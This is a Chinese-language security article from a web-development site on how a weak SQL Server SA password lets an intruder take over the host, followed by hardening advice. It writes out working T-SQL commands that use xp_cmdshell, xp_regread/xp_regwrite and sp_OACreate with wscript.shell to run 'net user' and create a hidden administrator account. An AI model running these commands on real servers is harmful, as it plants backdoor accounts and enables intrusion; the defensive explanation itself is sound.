网络编程 | 站长之家 | 网页制作 | 图形图象 | 操作系统 | 冲浪宝典 | 软件教学 | 网络办公 | 邮件系统 | 网络安全 | 认证考试 | 系统进程
Firefox | IE | Maxthon | 迅雷 | 电驴 | BitComet | FlashGet | QQ | QQ空间 | Vista | 输入法 | Ghost | Word | Excel | wps | Powerpoint
asp | .net | php | jsp | Sql | c# | Ajax | xml | Dreamweaver | FrontPages | Javascript | css | photoshop | fireworks | Flash | Cad | Discuz!
当前位置 > 网站建设学院 > 网络编程 > 数据库 > SQL安全
Tag:注入,存储过程,分页,安全,优化,xmlhttp,fso,jmail,application,session,防盗链,stream,无组件,组件,md5,乱码,缓存,加密,验证码,算法,cookies,ubb,正则表达式,水印,索引,日志,压缩,base64,url重写,上传,控件,Web.config,JDBC,函数,内存,PDF,迁移,结构,破解,编译,配置,进程,分词,IIS,Apache,Tomcat,phpmyadmin,Gzip,触发器,socket
网络编程:ASP教程,ASP.NET教程,PHP教程,JSP教程,C#教程,数据库,XML教程,Ajax,Java,Perl,Shell,VB教程,Delphi,C/C++教程,软件工程,J2EE/J2ME,移动开发
数据库:数据库教程,数据库技巧,Oracle教程,MySQL教程,Sybase教程,Access教程,DB2教程,数据库安全,数据库文摘
本月文章推荐
.数据库系统防黑客入侵技术综述.
.SQL Server加密与SQL注入.
.数据安全防护之打造安全.mdb数据.
.数据库安全性策略 (2).
.防范SQL注入式攻击.
.SQL Server 2000的安全配置.
.SQL数据库的一些攻击 .
.3个步骤结束网站恶梦-SQL注入隐患.
.让SQL注入攻击危害最小化三大措施.
.什么是SQL注入法攻击.
.针对SQL INJECTION的SQL SERVER安.
.系统安全之SA弱口令带来的安全隐.
.Oracle 2008年7月紧急补丁更新修.
.js asp c# 防止sql注入.
.打造SQL Server2000的安全策略.
.数据库安全性策略(1).
.SQL注入攻击的原理及其防范措施.
.浅谈数据库的攻击.
.SQL指令植入式攻击的危害及其防范.
.黑客攻破SQL服务器系统的十种方法.

系统安全之SA弱口令带来的安全隐患

发表日期:2007-1-19


存储过程是存储在SQLServer中的预先写好的SQL语句集合,其中危险性最高的扩展存储过程就是xp_cmdshell了,它可以执行操作系统的任何指令,而SA是Microsoft SQLServer的管理员帐号,拥有最高权限,它可以执行扩展存储过程,并获得返回值,比如执行:

exec master..xp_cmdshell 'net user test 1234 /add'和exec master..xp_cmdshell 'net 
localgroup administrators test /add'

这样对方的系统就被添加了一个用户名为test,密码为1234,有管理员权限的用户,如图一所示。

现在你应该明白为什么得到SA密码,就可以得到系统的最高权限了吧。而往往不少网络管理员不清楚这个情况,为自己的SA用户起了一些诸如1234,4321等简单的密码,甚至根本就不设置密码,这样网络入侵者就可以利用一些黑客工具很轻松的扫描到SA的密码,进而控制计算机。

除了xp_cmdshell,还有一些存储过程也有可能会被入侵者利用到:

1、xp_regread(这个扩展存储过程可以读取注册表指定的键里指定的值),使用方法(得到机器名):

DECLARE @test varchar(50)
EXEC master..xp_regread @rootkey='HKEY_LOCAL_MACHINE',
@key='system\controlset001\control\computername\computername',
@value_name='computername',
@value=@test OUTPUT
SELECT @test

2、xp_regwrite(这个扩展存储过程可以写入注册表指定的键里指定的值),使用方法(在键HKEY_LOCAL_MACHINE\SOFTWARE\aaa\aaaValue写入bbb):

EXEC master..xp_regwrite
@rootkey='HKEY_LOCAL_MACHINE',
@key='SOFTWARE\aaa',
@value_name='aaaValue',
@type='REG_SZ',
@value='bbb'

如果被入侵的计算机的administrator用户可以浏览注册表中的HKEY_LOCAL_MACHINE\SAM\SAM\信息,那使用xp_regread、xp_regwrite这两个存储过程可以实现克隆administrator用户,得到管理员权限。xp_regdeletekey、xp_regdeletevalue也会对系统带来安全隐患。

3、OLE相关的一系列存储过程,这系列的存储过程有sp_OACreate,sp_OADestroy,sp_OAGetErrorInfo,sp_OAGetProperty,sp_OAMethod,sp_OASetProperty,sp_OAStop,使用方法:

DECLARE @shell INT EXEC SP_OACREATE 'wscript.shell',@shell OUTPUT 
EXEC SP_OAMETHOD @shell,'run',null, 'c:\WINNT\system32\cmd.exe /c net user test 
1234 /add'--

这样对方系统增加了一个用户名为test,密码为1234的用户,再执行:

DECLARE @shell INT EXEC SP_OACREATE 'wscript.shell',@shell OUTPUT 
EXEC SP_OAMETHOD @shell,'run',null, 'c:\WINNT\system32\cmd.exe /c net localgroup 
administrators test /add '--

用户test,被加入管理员组。

解决办法:给SA起个足够复杂的密码,使网络攻击者很难破解出来。为了保险,我们还要到在SQLServer的查询分析器中使用存储过程sp_dropextendedproc删除xp_cmdshell等存储过程,需要时再使用sp_addextendedproc恢复即可,具体操作可以在SQLServer中查询sp_dropextendedproc和sp_addextendedproc的使用帮助,需要注意一点的是删除OLE相关系列的存储过程,可能会造成企业管理器中的某些功能无法使用,这里笔者不建议删除。

既然我们知道了SP_OACREATE的使用方法,那我们就可以到\WINNT\system32下找到cmd.exe,net.exe和net1.exe这三个文件,在“属性”—“安全”中把可以对他们访问的用户全部删除掉,这样就无法使用SP_OACREATE来增加系统用户了,在我们需要访问这些文件的时候再加上访问用户就可以了。

上一篇:数据安全防护之打造安全.mdb数据库 人气:8061
下一篇:js asp c# 防止sql注入 人气:8835
浏览全部SA弱口令的内容 Dreamweaver插件下载 网页广告代码 祝你圣诞节快乐 2009年新年快乐